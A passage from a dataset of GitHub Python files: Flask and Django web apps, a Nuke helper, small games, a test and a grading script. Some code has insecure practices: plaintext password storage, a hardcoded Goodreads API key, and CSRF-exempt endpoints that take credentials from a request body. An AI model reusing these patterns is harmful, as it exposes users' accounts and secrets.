render_template(\"entrance.html\")\n\n@app.route(\"/entrance\")\ndef entrance():\n return render_template(\"entrance.html\")\n\n@app.route(\"/viewRegister\")\ndef viewRegister():\n return render_template(\"viewRegister.html\")\n\n@app.route(\"/viewLogin\")\ndef viewLogin():\n return render_template(\"viewLogin.html\")\n\n@app.route(\"/search/\", methods = [\"POST\"])\ndef search(name): \n info = request.form.get(\"book\") \n\n info = ('%' + info + '%')\n books = db.execute(\"SELECT * FROM books WHERE (isbn LIKE :info) OR (title LIKE :info) OR (author LIKE :info)\", {\"info\": info}).fetchall()\n\n if books == []:\n return \"No books found\"\n elif books[1:] == []:\n temp = books[0] \n return redirect(url_for('homePage',name = name, isbn = temp.isbn)) \n else:\n return render_template(\"books.html\", books = books, name = name)\n\n@app.route(\"/register\", methods=[\"POST\"])\ndef register():\n name = request.form.get(\"name\")\n password = request.form.get(\"password\") \n user = db.execute(\"SELECT * FROM users WHERE name = :name\", {\"name\":name}).fetchone()\n \n if user is not None:\n return render_template(\"inform.html\",message = \"Name is already used!\")\n\n db.execute(\"INSERT INTO users (name, password) VALUES (:name, :password)\",\n {\"name\": name, \"password\": password})\n db.commit()\n return render_template(\"inform.html\",message = \"Register Successful!\")\n\n@app.route(\"/login\", methods=[\"POST\"])\ndef login():\n name = request.form.get(\"name\")\n password = request.form.get(\"password\")\n \n temp = db.execute(\"SELECT * FROM users WHERE (name = :name) AND (password = :password)\", {\"name\":name, \"password\": password}).fetchone()\n \n if temp is None: \n return render_template(\"inform.html\",message = \"Account is invalid!\") \n else: \n firstBook = db.execute(\"SELECT * FROM books\").fetchone()\n return redirect(url_for('homePage',name = name, isbn = firstBook.isbn)) \n\n@app.route(\"/review//\", methods=[\"POST\"])\ndef review(name, isbn):\n reviews = request.form.get(\"reviews\")\n rate = request.form.get(\"rate\")\n \n check = db.execute(\"SELECT * FROM reviews WHERE user_name = :name\",{\"name\": name}).fetchone()\n if check is not None:\n return \"You already reviewed!\"\n\n db.execute (\"INSERT INTO reviews (book_isbn, user_name, reviews, rate) VALUES (:isbn, :name, :reviews, :rate)\",\n {\"isbn\": isbn, \"name\": name, \"reviews\":reviews, \"rate\": rate})\n db.commit()\n return \"Commented!\"\n \n@app.route(\"/homePage//\")\ndef homePage(name, isbn):\n book = db.execute(\"SELECT * FROM books WHERE isbn = :isbn\",{\"isbn\": isbn}).fetchone()\n reviews = db.execute(\"SELECT * FROM reviews WHERE book_isbn=:isbn\",{\"isbn\":isbn}).fetchall()\n\n res = requests.get(\"https://www.goodreads.com/book/review_counts.json\", params={\"key\": \"a2cOYsYBs3Elc6DpzWxABA\", \"isbns\": isbn})\n \n if res.status_code != 200: \n rate = 0.0\n else: \n data = res.json()\n rate = data[\"books\"][0][\"average_rating\"] \n\n if reviews == []:\n return render_template(\"homePage.html\", book = book, name = name, rate = rate)\n else: \n return render_template(\"homePage.html\",book = book, name = name, reviews = reviews, rate = rate)\n\n@app.route(\"/info/api/\", methods = [\"GET\"])\ndef info(isbn):\n temp = '%' + isbn + '%'\n book = db.execute(\"SELECT * FROM books WHERE isbn LIKE :isbn\", {\"isbn\": temp}).fetchone()\n if book is None:\n return jsonify({\"error\": \"Invalid isbn\"}), 422\n res = requests.get(\"https://www.goodreads.com/book/review_counts.json\", params={\"key\": \"a2cOYsYBs3Elc6DpzWxABA\", \"isbns\": isbn})\n\n if res.status_code != 200: \n return jsonify({\n \"title\": book.title,\n \"author\": book.author,\n \"year\": book.year,\n \"isbn\": book.isbn \n })\n else:\n data = res.json()\n count = data[\"books\"][0][\"work_reviews_count\"] \n average = data[\"books\"][0][\"average_rating\"]\n return jsonify({\n \"title\": book.title,\n \"author\": book.author,\n \"year\": book.year,\n \"isbn\": book.isbn,\n \"review_count\": count,\n \"average_score\": average\n })\n","repo_name":"Levan1199/project-1","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3530024627","text":"import nuke\nimport nukescripts\n# import pythonlibrary.L_pyseq as L_pyseq\n\n\ndef createReadFromWrite():\n for node in nuke.selectedNodes():\n\n file = ''\n start = ''\n end = ''\n\n if node.Class() == 'Write':\n if node[\"file\"].value():\n file = node[\"file\"].value()\n if node.knob('use_limit').getValue():\n start = int(node.knob('first').getValue())\n end = int(node.knob('last').getValue())\n\n else:\n nuke.message(node.name() + ': No valid filepath')\n\n if node.Class() == 'NoOp' and 'ffmpeg_write' in node.name():\n if node[\"outPreview\"].value():\n file = node[\"outPreview\"].value()\n\n else:\n nuke.message(node.name() + ': No valid filepath')\n\n if file:\n\n # if file[-4:] in ['.mov', '.mp4']:\n\n # read = nuke.createNode(\"Read\",\"file {\"+file+\"}\", inpanel= False)\n # read.knob('colorspace').setValue('out_srgb')\n # read.knob('xpos').setValue(node.xpos()+0)\n # read.knob('ypos').setValue(node.ypos()+100)\n # read.knob('localizationPolicy').setValue(3)\n\n # else:\n # seq = L_pyseq.img2pyseq(file)\n\n # if seq:\n # read = nuke.nodes.Read(file=file,\n # xpos=node.xpos()+0,\n # ypos=node.ypos()+100,\n # first=seq.start(),\n # last=seq.end(),\n # origfirst = seq.start(),\n # origlast= seq.end())\n\n # read.knob('colorspace').setValue(int(node.knob('colorspace').getValue()))\n # read.knob('localizationPolicy').setValue(3)\n\n # else:\n read = nuke.nodes.Read(file=file,\n xpos=node.xpos()+0,\n ypos=node.ypos()+100,\n first=start or nuke.root().knob('first_frame').getValue(),\n last=end or nuke.root().knob('last_frame').getValue(),\n origfirst=nuke.root().knob('first_frame').getValue(),\n origlast=nuke.root().knob('last_frame').getValue())\n\n read.knob('colorspace').setValue(int(node.knob('colorspace').getValue()))\n read.knob('localizationPolicy').setValue(3)\n","repo_name":"TrellixVulnTeam/LukeTools_WNXN","sub_path":"L_createRead.py","file_name":"L_createRead.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7401069041","text":"from turtle import Turtle\n\nclass Score(Turtle):\n def __init__(self):\n super().__init__()\n self.hideturtle()\n self.color(\"white\")\n self.penup()\n self.p1_score = 0\n self.p2_score = 0\n self.draw_score()\n\n def dots(self):\n self.goto(0, 305)\n self.write(f\":\", move=False, align='center', font=('Arial', 50, 'normal'))\n\n def draw_score(self):\n self.clear()\n self.dots()\n self.goto(-40, 300)\n self.write(f\"{self.p1_score}\", move=False, align='center', font=('Arial', 50, 'normal'))\n self.goto(40, 300)\n self.write(f\"{self.p2_score}\", move=False, align='center', font=('Arial', 50, 'normal'))\n\n def add_score_p1(self):\n self.p1_score += 1\n self.draw_score()\n\n def add_score_p2(self):\n self.p2_score += 1\n self.draw_score()\n","repo_name":"ASreiros/PingPong-py","sub_path":"score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14748034878","text":"from flask import Flask, render_template, request, redirect\nfrom database.operations import insert\nfrom api import get_json\n\napp = Flask(__name__)\n\n@app.route('/form')\ndef form():\n \"\"\" Display submission form \"\"\"\n return render_template('form.html')\n\n@app.route('/submit', methods=['GET', 'POST'])\ndef submit():\n if request.method=='GET':\n return redirect('/form')\n else:\n if insert(request.form['name'], request.form['address'], request.form['postcode'], \n request.form['city'],request.form['date'], request.form['type'], \n request.form['businessid']):\n return \"Data inserted\"\n else:\n return \"Data not inserted\"\n\n@app.route('/')\ndef index():\n return render_template('front-page.html')\n\n@app.route('/api/all')\ndef api():\n return get_json()\n\nif __name__ == \"__main__\":\n app.run(port=5000)","repo_name":"ArtemD/flask-demo-2021","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"955433614","text":"import json\r\nimport imageio as imageio\r\nimport datetime\r\nfrom django.contrib import auth\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.models import User\r\nfrom django.core import serializers\r\nfrom django.core.mail import send_mail\r\nfrom django.http import HttpResponse, JsonResponse\r\nfrom django.shortcuts import render, redirect\r\nfrom pure_pagination import Paginator, PageNotAnInteger\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom app.models import Live, Log, Label, Push\r\nfrom app.tools import base64ToImage, send_qywx, check, send_email, push\r\n\r\n\r\n# Create your views here.\r\n\r\ndef register(request):\r\n if request.method == 'POST':\r\n username = request.POST.get('username')\r\n password = request.POST.get('password')\r\n email = request.POST.get('email')\r\n print(username, password, email)\r\n\r\n user = User.objects.filter(username=username).first()\r\n\r\n rep = '^[A-Za-z0-9]{4,16}$'\r\n if check(rep, password):\r\n if user is not None:\r\n info = '用户名已存在'\r\n return render(request, 'register.html', {'info': info})\r\n else:\r\n rep = '^[A-Za-z0-9]{4,16}$'\r\n if check(rep, password):\r\n user = User.objects.create_user(username=username, email=email, password=password)\r\n user.save()\r\n info = '注册成功,请登录'\r\n return render(request, 'register.html', {'info': info})\r\n else:\r\n info = '密码格式错误'\r\n return render(request, 'register.html', {'info': info})\r\n else:\r\n info = '用户名格式错误'\r\n return render(request, 'register.html', {'info': info})\r\n else:\r\n info = '请注册'\r\n return render(request, 'register.html', {'info': info})\r\n\r\n\r\n@login_required()\r\ndef index(request, userid):\r\n return render(request, 'index.html', {'username': 'test', 'userid': userid})\r\n\r\n\r\ndef signin(request):\r\n if request.method == 'POST':\r\n username = request.POST.get('username')\r\n password = request.POST.get('password')\r\n rep1 = '^[A-Za-z0-9]{4,16}$'\r\n rep2 = '^[A-Za-z0-9]{6,16}$'\r\n if not check(rep1, username) or not check(rep2, password):\r\n info = '账户或密码格式错误'\r\n return render(request, 'signin.html', {'info': info})\r\n user = auth.authenticate(username=username, password=password)\r\n if user is not None:\r\n if user.is_active:\r\n auth.login(request, user)\r\n print(user.id)\r\n return redirect('/' + str(user.id))\r\n # ''/', userid=user.id)\r\n else:\r\n info = '你的账户没有激活,请联系管理员'\r\n return render(request, 'signin.html', {'info': info})\r\n else:\r\n info = '账户或密码错误'\r\n return render(request, 'signin.html', {'info': info})\r\n else:\r\n info = '请登录'\r\n return render(request, 'signin.html', {'info': info})\r\n\r\n\r\ndef login(request):\r\n if request.method == 'POST':\r\n username = request.POST['username']\r\n password = request.POST['password']\r\n # 验证登录,正确则authenticate()返回一个User对象,错误则返回一个None类\r\n user = auth.authenticate(username=username, password=password)\r\n if user is not None:\r\n if user.is_active:\r\n auth.login(request, user) # 登录用户\r\n print(username, user.id)\r\n return redirect('/', {'username': username, 'userid': user.id})\r\n else:\r\n not_active_info = '你的账户没有激活,请联系管理员'\r\n return render(request, 'login.html', {'NOT_ACTIVE': not_active_info})\r\n else:\r\n error_info = 'Typing Error'\r\n return render(request, 'login.html', {'ERROR': error_info})\r\n\r\n else:\r\n login_info = 'Login System'\r\n return render(request, 'login.html', {'LOGIN': login_info})\r\n\r\n\r\n@login_required()\r\ndef logout(request):\r\n auth.logout(request)\r\n return redirect('/login')\r\n\r\n\r\n@login_required()\r\ndef live(request, userid):\r\n mylive = Live.objects.filter(user_id=userid).first()\r\n if mylive is None:\r\n link = None\r\n info = '尚未设置监控地址,请到设置页面添加'\r\n else:\r\n link = mylive.link\r\n print(link)\r\n info = f'当前监控地址为:{link}'\r\n return render(request, 'mylive.html', {'link': link, 'userid': userid, 'info': info})\r\n\r\n\r\n@login_required()\r\ndef log(request, userid):\r\n log_list = Log.objects.filter(user_id=userid).order_by('-created_time')\r\n if log_list is not None:\r\n paginator = Paginator(log_list, 5, request=request)\r\n try:\r\n page_num = request.GET.get('page', 1)\r\n except PageNotAnInteger:\r\n page_num = 1\r\n page_obj = paginator.page(page_num)\r\n info = None\r\n else:\r\n info = '暂无日志'\r\n return render(request, 'log.html', {'page_obj': page_obj, 'userid': userid, 'info': info})\r\n\r\n\r\n@login_required()\r\ndef setting(request, userid):\r\n print(userid)\r\n live = Live.objects.filter(user_id=userid).first()\r\n user = User.objects.filter(id=userid).first()\r\n push = Push.objects.filter(user_id=userid).first()\r\n data = {\r\n 'userid': userid,\r\n 'live': live,\r\n 'push': push,\r\n 'user': user\r\n }\r\n return render(request, 'setting.html', data)\r\n\r\n\r\n@csrf_exempt\r\ndef post_case(request):\r\n if request.method == 'POST':\r\n print('POST request')\r\n # 拿到记录帧和预测标签\r\n received_data = json.loads(request.body)\r\n # print(type(received_data))\r\n # 将记录帧转gif存储\r\n frames = []\r\n for i in received_data['data']:\r\n frames.append(base64ToImage(i))\r\n nowTime = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\r\n file_name = f'./static/log/{nowTime}.gif'\r\n imageio.mimsave(file_name, frames, 'gif', duration=0.1)\r\n # 获取标签索引对应的标签内容\r\n info = []\r\n for i in received_data['label']:\r\n info.append(Label.objects.get(label_index=i).label_info)\r\n info_detail = ' '.join(info)\r\n # 将文件路径写入数据库\r\n userid = received_data['userid']\r\n log = Log(user_id=userid, info=info_detail, file_path=file_name[1:])\r\n log.save()\r\n # 推送信息\r\n img_url = 'http://127.0.0.1:8000' + file_name[1:]\r\n content = f'{nowTime}\\n预测出目标动作:{info_detail},请核实。'\r\n push(img_url=img_url, content=content, userid=userid)\r\n # 返回信息\r\n data = {\r\n 'success': True\r\n }\r\n return HttpResponse(json.dumps(data), content_type='application/json')\r\n else:\r\n return HttpResponse(json.dumps({'success': False}), content_type='application/json')\r\n\r\n\r\n@csrf_exempt\r\ndef get_link(request):\r\n if request.method == 'GET':\r\n print('GET request')\r\n received_data = json.loads(request.body)\r\n username = received_data['username']\r\n password = received_data['password']\r\n user = auth.authenticate(username=username, password=password)\r\n data = {'success': False, 'data': []}\r\n if user is not None:\r\n if user.is_superuser:\r\n live_list = Live.objects.all()\r\n for i in live_list:\r\n data['success'] = True\r\n data['data'].append([i.user_id, i.link])\r\n return HttpResponse(json.dumps(data), content_type='application/json')\r\n else:\r\n return HttpResponse(json.dumps({'success': False}), content_type='application/json')\r\n\r\n\r\n@csrf_exempt\r\ndef check_link(request):\r\n if request.method == 'GET':\r\n received_data = json.loads(request.body)\r\n userid = received_data['userid']\r\n live = Live.objects.filter(user_id=userid).first()\r\n data = {}\r\n if live:\r\n data['success'] = True\r\n data['link'] = live.link\r\n else:\r\n data['success'] = True\r\n data['link'] = ''\r\n return HttpResponse(json.dumps(data), content_type='application/json')\r\n\r\n\r\n@login_required()\r\ndef data(request):\r\n with open('./static/label.json', 'r', encoding='utf-8') as f:\r\n label = json.load(f)\r\n f.close()\r\n\r\n for i in label:\r\n index = int(i)\r\n info = label[i]\r\n print(info)\r\n log = Label(label_index=index, label_info=info)\r\n log.save()\r\n\r\n return HttpResponse('success')\r\n\r\n\r\n@login_required()\r\ndef change_link(request, userid):\r\n if request.method == 'POST':\r\n link = request.POST.get('link')\r\n data = {'msg': ''}\r\n re = '^(?:(http|https|ftp):\\/\\/)?((?:[\\w-]+\\.)+[a-z0-9]+)((?:\\/[^/?#]*)+)?(\\?[^#]+)?(#.+)?$'\r\n if check(re, link):\r\n live = Live.objects.filter(user_id=userid).first()\r\n if live is not None:\r\n if live.link != link:\r\n live.link = link\r\n live.save()\r\n data['msg'] = '后端信息:监控地址修改成功'\r\n else:\r\n data['msg'] = '后端信息:新地址和旧地址一致,不需要修改'\r\n else:\r\n live = Live(user_id=userid, link=link)\r\n live.save()\r\n data['msg'] = '后端信息:新建监控地址'\r\n else:\r\n data['msg'] = '后端信息:地址格式错误'\r\n return JsonResponse(data)\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\n@login_required()\r\ndef change_push(request, userid):\r\n if request.method == 'POST':\r\n corp_id = request.POST.get('corp_id')\r\n agent_id = request.POST.get('agent_id')\r\n corp_secret = request.POST.get('corp_secret')\r\n data = {'msg': ''}\r\n if len(corp_id) == 0 or len(agent_id) == 0 or len(corp_secret) == 0:\r\n data['msg'] = '后端信息:请输入完整配置'\r\n else:\r\n push = Push.objects.filter(user_id=userid).first()\r\n if push is not None:\r\n if corp_id == push.corp_id and agent_id == push.agent_id and corp_secret == push.corp_secret:\r\n data['msg'] = '后端信息:新配置与旧配置一致,不需要更改'\r\n else:\r\n push.corp_id = corp_id\r\n push.agent_id = agent_id\r\n push.corp_secret = corp_secret\r\n push.save()\r\n data['msg'] = '后端信息:配置修改成功'\r\n else:\r\n push = Push(user_id=userid, corp_id=corp_id, agent_id=agent_id, corp_secret=corp_secret)\r\n push.save()\r\n data['msg'] = '后端信息:新建配置'\r\n return JsonResponse(data)\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\n@login_required()\r\ndef on_off_push(request, userid):\r\n if request.method == \"GET\":\r\n data = {'msg': ''}\r\n push = Push.objects.filter(user_id=userid).first()\r\n if push is not None:\r\n push.flag = not push.flag\r\n push.save()\r\n data['msg'] = '后端信息,修改成功'\r\n data['flag'] = push.flag\r\n return JsonResponse(data)\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\n@login_required()\r\ndef change_email(request, userid):\r\n if request.method == 'POST':\r\n email = str(request.POST.get('email'))\r\n print(email)\r\n data = {'msg': '', 'email': email}\r\n re = r'^[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+){0,4}@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+){0,4}$'\r\n if check(re, email):\r\n user = User.objects.get(id=userid)\r\n if email == user.email:\r\n data['msg'] = '后端信息:新邮箱和旧邮箱一致,修改失败'\r\n else:\r\n if user is not None:\r\n user.email = email\r\n user.save()\r\n data['msg'] = '后端信息:邮箱修改成功'\r\n else:\r\n data['msg'] = '后端信息:邮箱格式错误'\r\n return JsonResponse(data)\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\n@login_required()\r\ndef change_password(request, userid):\r\n if request.method == 'POST':\r\n old_pw = request.POST.get('old_pw')\r\n new_pw = request.POST.get('new_pw')\r\n re = '^[A-Za-z0-9]{6,16}$'\r\n data = {'msg': ''}\r\n if not check(re, old_pw) or not check(re, new_pw):\r\n data['msg'] = '后端信息:密码格式不正确'\r\n else:\r\n user = User.objects.get(id=userid)\r\n if user is not None:\r\n if user.check_password(old_pw):\r\n if old_pw != new_pw:\r\n user.set_password(new_pw)\r\n user.save()\r\n data['msg'] = '后端信息:密码修改成功'\r\n else:\r\n data['msg'] = '后端信息:新密码与旧密码一致'\r\n else:\r\n data['msg'] = '后端信息:旧密码不正确'\r\n else:\r\n data['msg'] = '后端信息:当前用户不存在'\r\n return JsonResponse(data)\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\n@login_required()\r\ndef check_push(request, userid):\r\n if request.method == 'GET':\r\n data = {}\r\n user = User.objects.filter(id=userid).first()\r\n if user is None:\r\n data['msg'] = '用户不存在'\r\n return JsonResponse(data)\r\n email = user.email\r\n send_msg = '推送测试,如果您收到了此信息说明您的推送设置已生效'\r\n msg = ''\r\n if send_email(email=email):\r\n msg += '邮件发送成功\\n'\r\n else:\r\n msg += '邮件设置有误,请检查\\n'\r\n push = Push.objects.filter(user_id=userid).first()\r\n if push is not None:\r\n if send_qywx(send_msg, push, f'http://127.0.0.1:8000/{userid}'):\r\n msg += '企业微信推送成功\\n'\r\n else:\r\n msg += '企业微信推送配置有误,请检查\\n'\r\n else:\r\n msg += '企业微信未配置\\n'\r\n return JsonResponse({'msg': msg})\r\n else:\r\n return JsonResponse({'msg': '错误请求'})\r\n\r\n\r\ndef test(request):\r\n user = Live.objects.filter(id=2)\r\n json_data = serializers.serialize('json', user)\r\n # json_data = user.toJson()\r\n print(json_data)\r\n return HttpResponse(json_data)\r\n","repo_name":"cnwxi/HG-djangoProject","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70175409228","text":"from test_server import Response\n\nfrom grab import request\nfrom grab.document import Document\nfrom tests.util import BaseTestCase\n\n\nclass GrabXMLProcessingTestCase(BaseTestCase):\n def setUp(self) -> None:\n self.server.reset()\n\n def test_xml_with_declaration(self) -> None:\n self.server.add_response(\n Response(\n data=b''\n b\"foo\"\n )\n )\n doc = request(self.server.get_url())\n self.assertTrue(doc.select(\"//foo\").text() == \"foo\")\n\n def test_declaration_bug(self) -> None:\n # 1. Build Grab instance with XML with xml declaration\n # 2. Call search method\n # 3. Call xpath\n # 4. Get ValueError: Unicode strings with encoding\n # declaration are not supported.\n xml = b'text'\n doc = Document(xml)\n self.assertTrue(doc.text_search(\"text\"))\n self.assertEqual(doc.select(\"//leaf\").text(), \"text\")\n\n # Similar bugs\n doc = Document(xml)\n self.assertTrue(doc.rex_search(\"text\"))\n self.assertEqual(doc.select(\"//leaf\").text(), \"text\")\n","repo_name":"lorien/grab","sub_path":"tests/test_grab_xml_processing.py","file_name":"test_grab_xml_processing.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":2330,"dataset":"github-code","pt":"82"} +{"seq_id":"72021687308","text":"\nimport copy\nfrom collections import defaultdict\nfrom collections import deque\nimport math\nimport sys\nimport pickle\nimport bz2\nimport base64\n\nsys.setrecursionlimit(10**6)\n\nimport logging\nlogger = None\n# change DEBUG to INFO to block all the debug-level messages.\nnumeric_log_level = getattr(logging, 'DEBUG', None)\nlogging.basicConfig(\n stream=sys.stderr,\n format='%(asctime)s.%(msecs)d %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s',\n)\nlogger = logging.getLogger('PUZZLES')\nlogger.setLevel(numeric_log_level)\n\n\nif sys.version_info[0] == 2:\n input = raw_input\n\ndef nn():\n return int(input())\n\ndef li():\n return list(input())\n\ndef lm():\n return list(map(int, input().split()))\n\n# Tries really hard to serialize + compress any input object as a string.\n# Useful if I want to precompute something fat, then compress it, then rebuild it when running on Google servers.\ndef compress(abc):\n return base64.b64encode(\n bz2.compress(\n pickle.dumps(\n abc\n )\n )\n )\n\ndef expand(abc):\n return pickle.loads(\n bz2.decompress(\n base64.b64decode(\n abc\n )\n )\n )\n\n# Snippet for printing while flushing output for interactive problems:\n# In python3: print(x, flush=True)\n# in python2: print(x) and then sys.stdout.flush()\n\n\n#########################################################################\n# Problem specific code usually goes below this line.\n#########################################################################\n\n\ndef solve(dat):\n dat = dat[1:-1]\n # fail if we only have 1 pile to work with and it's odd\n if len(dat) == 1 and dat[0] % 2 == 1:\n return -1\n\n dat = [x for x in dat if x != 0]\n cost = sum(x//2 + (x%2) for x in dat)\n\n # fail if all nonempty piles are 1s (we can't move)\n if all(x == 1 for x in dat):\n return -1\n\n # fail if we have just 1 nonempty pile and size is 3\n if len(dat) == 1 and dat[0] == 3:\n return -1\n\n if len(dat) == 1 and dat[0] % 2 == 1:\n return cost + 1\n\n return cost\n\n\n\nT = nn()\nfor testID in range(1, T+1):\n N = nn()\n dat = lm()\n out = solve(dat)\n print(out)\n","repo_name":"dcclyde/coding_puzzles","sub_path":"codeforces/2022_02_12/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7056566122","text":"from flask import render_template, request, redirect, flash, url_for\nfrom market.modules.admin import admin\nfrom market.forms import StudentForm, AttendaceForm, TeacherForm\nfrom market.modules.admin import baseHandler\nfrom flask_login import login_user, logout_user, current_user, login_required\nfrom market.models import roles_required\n\n@admin.route('/')\n@admin.route('/home')\ndef home_page():\n form = StudentForm()\n return render_template('admin/home.html', form = form)\n\n@admin.route('/StudentInformation', methods = ['GET', 'POST'])\ndef student_page():\n\n if request.method == 'GET':\n items,cols = baseHandler.getStudent()\n return render_template('admin/studentData.html', items = items, cols = cols)\n\n if request.method == 'POST':\n \n famID = request.form.get(key = 'studentFamily') \n stdID = request.form.get(key = 'studentID')\n act = request.form.get(key = 'action') \n\n if act == 'View':\n return redirect(url_for('admin.reg_student', famID = famID, stdID = stdID))\n\n return redirect(url_for('admin.reg_student', famID = famID))\n\n\n@admin.route('/StudentForm', methods = ['GET', 'POST'])\ndef reg_student():\n\n form = StudentForm()\n\n if request.method == 'GET':\n\n famID = request.args.get('famID')\n stdID = request.args.get('stdID')\n \n form = baseHandler.createFamilyID(form)\n\n if stdID:\n form,image = baseHandler.renderStudent(form, famID, stdID) \n return render_template('admin/registerStudent.html', form = form, image = image)\n elif (not stdID) and famID:\n form = baseHandler.renderStudent(form, famID, None)\n \n return render_template('admin/registerStudent.html', form = form, image = None)\n\n if request.method == 'POST':\n\n if form.fatherFirstName.data == None:\n return redirect(url_for('admin.reg_student', famID = form.familyID.data))\n\n elif form:\n file = request.files['file']\n\n message = baseHandler.createStudent(form, file)\n category = 'danger' if 'Error' in message else 'success'\n flash(message, category = category)\n return redirect(url_for('admin.home_page'))\n\n else:\n flash('Enter valid details in form', category='danger')\n return redirect(url_for('admin.reg_student'))\n\n@admin.route('/attendance', methods = ['GET', 'POST'])\ndef attendance_page():\n\n course = request.args.get(key = 'course')\n grade = request.args.get(key = 'grade')\n\n form = AttendaceForm()\n \n if request.method == 'GET':\n \n # result = baseHandler.checkStudent()\n # return render_template('admin/attendance.html', items = result[0], cols = result[1], form = form)\n\n if course != None and grade != None:\n result = baseHandler.validateCourseAndStudent(course, grade)\n if not result:\n flash('Input Error: Course and Grade do not matched!!', category='danger')\n return redirect(url_for('admin.attendance_page'))\n else:\n form.course.data = course\n form.grade.data = grade\n return render_template('admin/attendance.html', items = result[0], cols = result[1], form = form)\n else:\n return render_template('admin/attendance.html',form = form)\n\n if request.method == 'POST':\n \n crse = request.form.get(key = 'course')\n \n if crse:\n return redirect(url_for('admin.attendance_page', course = form.course.data, grade = form.grade.data))\n else:\n flag = baseHandler.doAttendance(request, course, grade)\n\n if not flag:\n flash('Error Occured while saving Attendance. Please Try Again', category='danger')\n return redirect(url_for('admin.attendance_page', course = course, grade = grade))\n else:\n flash('Attendance Saved Successfully!!', category='success')\n return redirect(url_for('admin.attendance_page', course = course, grade = grade)) \n \n\n@admin.route('/TeacherForm', methods = ['GET', 'POST'])\ndef reg_teacher():\n\n form = TeacherForm()\n\n if request.method == 'GET':\n \n tID = request.args.get('tID')\n \n form = baseHandler.createTeacherID(form)\n\n if tID:\n form,image = baseHandler.renderTeacher(form, tID) \n return render_template('admin/registerTeacher.html', form = form, image = image)\n \n return render_template('admin/registerTeacher.html', form = form, image = None)\n\n if request.method == 'POST':\n\n if form:\n file = request.files['file']\n\n message = baseHandler.createTeacher(form, file)\n category = 'danger' if 'Error' in message else 'success'\n flash(message, category = category)\n return redirect(url_for('admin.home_page'))\n\n else:\n flash('Enter valid details in form', category='danger')\n return redirect(url_for('admin.reg_teacher'))\n\n@admin.route('/Courses', methods = ['GET', 'POST'])\ndef course_page():\n\n if request.method == 'GET':\n\n pass\n\n elif request.method == 'POST':\n\n pass\n\n pass","repo_name":"mraliimam/LMS","sub_path":"market/modules/admin/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28376048229","text":"import importlib\nimport traceback\nfrom grading.util import roster, print_table\nimport os\nfrom sklearn.cluster import KMeans\nfrom sklearn import metrics\nfrom numpy import unique\n\ndef indent(howMuch = 1):\n space = ' '\n for i in range(1, howMuch):\n space += ' '\n return space\n\ndef tryOne(label, fAndP):\n frame = fAndP['frame']\n if 'kmeans' in fAndP.keys():\n kmeans = fAndP['kmeans']\n else:\n nc = len(unique(frame.target))\n kmeans = KMeans(n_clusters=nc)\n try:\n fit = kmeans.fit(frame.data)\n except:\n traceback.print_exc()\n print(label + ':')\n # print_table(fit.theta_,\n # header=[frame.feature_names],\n # topLeft=[label],\n # leftColumn=frame.target_names,\n # numfmt='%6.3f',\n # njust='center',\n # tjust='rjust',\n # )\n # y_pred = fit.predict(frame.data)\n # tot = len(frame.data)\n # mis = (frame.target != y_pred).sum()\n # cor = 1 - mis / tot\n # print(\n # \" Number of mislabeled points out of a total {0} points : {1} ({2:.0%} correct)\"\n # .format(tot, mis, cor)\n # )\n score = metrics.adjusted_rand_score(frame.target, fit.labels_)\n print('Adjusted Rand index: ', score)\n\ndef tryExamples(examples):\n for label in examples:\n example = examples[label]\n main = getattr(example, 'main', None)\n if main != None:\n example.main()\n else:\n tryOne(label, example)\n\nsubmissions = {}\nscores = {}\n\nmessage1 = 'Submissions that compile:'\n\nroot = os.getcwd()\nfor student in roster:\n try:\n os.chdir(root + '/submissions/' + student)\n # http://stackoverflow.com/a/17136796/2619926\n mod = importlib.import_module('submissions.' + student + '.myKMeans')\n submissions[student] = mod.Examples\n message1 += ' ' + student\n except ImportError:\n pass\n except:\n traceback.print_exc()\n\nos.chdir(root)\n\nprint(message1)\nprint('----------------------------------------')\n\nfor student in roster:\n if not student in submissions.keys():\n continue\n scores[student] = []\n try:\n examples = submissions[student]\n print('K Means Samples from:', student)\n tryExamples(examples)\n except:\n traceback.print_exc()\n\n print(student + ' scores ' + str(scores[student]) + ' = ' + str(sum(scores[student])))\n print('----------------------------------------')","repo_name":"WhittKinley/Legos","sub_path":"grading/kMeans-submissions.py","file_name":"kMeans-submissions.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71756420748","text":"import gc\nimport torch\nimport numpy as np\nimport random\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\n\n\ndef cleanup():\n gc.collect()\n torch.cuda.empty_cache()\n\n\ndef turn_off_grad(model):\n for param 